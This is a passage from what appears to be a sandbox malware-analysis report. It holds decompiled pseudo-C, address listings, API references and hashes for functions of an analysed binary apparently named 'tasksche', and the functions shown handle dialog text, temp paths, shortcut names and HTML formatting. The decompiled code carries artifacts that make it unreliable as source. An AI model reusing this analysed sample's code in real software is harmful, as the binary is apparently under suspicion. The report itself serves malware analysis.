												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, L"<>");
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
												__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = L"%s%s%d";
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													__ebp - 0x1440 = __ebp - 0x4440;
													__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax = EndDialog( *(__ebp + 8), 1);
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *(__ebp + 8));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F3F0

Strings

", xrefs: 0040F157
.lnk, xrefs: 0040F321, 0040F331

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040EEE6

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

SetDlgItemTextW.USER32 ref: 0040EF44
_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040F027
EndDialog.USER32(?,00000001), ref: 0040F049

Strings

%s%s%d, xrefs: 0040EEFF, 0040EF19

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, L"\r\n\r\n", 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, L"&nbsp;");
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, L"<br>");
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

0x004191dc
0x004191de
0x004191e1
0x004191f6
0x004191fa
0x004191ff
0x00419208
0x0041920f
0x0041921a
0x00419221
0x00419225
0x00419233
0x00419238
0x0041923a
0x0041927d
0x00419280
0x004192a4
0x004192a7
0x004192ab
0x004192ab
0x00419282
0x00419282
0x00419286
0x00000000
0x00419288
0x00419288
0x0041928d
0x00000000
0x0041928f
0x00419298
0x0041929f
0x0041929f
0x0041928d
0x00419286
0x0041923c
0x0041923c
0x0041923f
0x00419243
0x0041924b
0x0041924e
0x0041924e
0x00419253
0x00000000
0x00000000
0x0041925d
0x00419262
0x00419266
0x00419268
0x0041926c
0x0041926f
0x00419274
0x00000000
0x00000000
0x00000000
0x00419274
0x0041924e
0x00419276
0x00419276
0x0041927a
0x0041927a
0x004192ad
0x004192ae
0x004192ae
0x004192b8
0x004192bb
0x004192bd
0x004192c1
0x004192c7
0x00419201
0x00419201
0x00419201
0x004192cd

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Strings

, xrefs: 0041922D
<br>, xrefs: 00419255
 , xrefs: 00419292
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00419209

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBC1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DBC1(void* __edx, void* __eflags, void* __fp0, signed int _a4) {
				struct HWND__* _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v32;
				short _v4128;
				void* _t16;
				struct HWND__* _t17;
				void* _t27;
				void* _t35;
				struct HWND__* _t37;
				void* _t41;
				void* _t42;
				void* _t52;

				_t52 = __fp0;
				_t42 = __eflags;
				_t35 = __edx;
				E0041AAF0(0x101c);
				_t16 = E00419E56(_t42);
				if(_t16 == 0) {
					return _t16;
				}
				_t17 = GetWindow(_a4, 5);
				_a4 = _a4 & 0x00000000;
				_t37 = _t17;
				_v8 = _t37;
				if(_t37 == 0) {
					L12:
					return _t17;
				} else {
					while(_a4 < 0x200) {
						GetClassNameW(_t37,  &_v4128, 0x800);
						if(E00411E60( &_v4128, L"STATIC") == 0 && (GetWindowLongW(_t37, 0xfffffff0) & 0x0000001f) == 0xe) {
							_t41 = SendMessageW(_t37, 0x173, 0, 0);
							if(_t41 != 0) {
								GetObjectW(_t41, 0x18,  &_v32);
								_t27 = E00419E13(_v24);
								SendMessageW(_t37, 0x172, 0, E00419EA0(_t35, _t52, _t41, E00419DD0(_v28), _t27));
								if(_t41 !=  *0x439818) {
									DeleteObject(_t41);
								}
							}
						}
						_t17 = GetWindow(_t37, 2);
						_t37 = _t17;
						if(_t37 != _v8) {
							_a4 =  &(_a4->i);
							if(_t37 != 0) {
								continue;
							}
						}
						break;
					}
					goto L12;
				}
			}

0x0040dbc1
0x0040dbc1
0x0040dbc1
0x0040dbc9
0x0040dbce
0x0040dbd5
0x0040dcb5
0x0040dcb5
0x0040dbe1
0x0040dbe7
0x0040dbeb
0x0040dbed
0x0040dbf2
0x0040dcb3
0x00000000
0x0040dbf8
0x0040dc00
0x0040dc1a
0x0040dc33
0x0040dc51
0x0040dc55
0x0040dc5e
0x0040dc67
0x0040dc85
0x0040dc8d
0x0040dc90
0x0040dc90
0x0040dc8d
0x0040dc55
0x0040dc99
0x0040dc9f
0x0040dca4
0x0040dca6
0x0040dcab
0x00000000
0x00000000
0x0040dcab
0x00000000
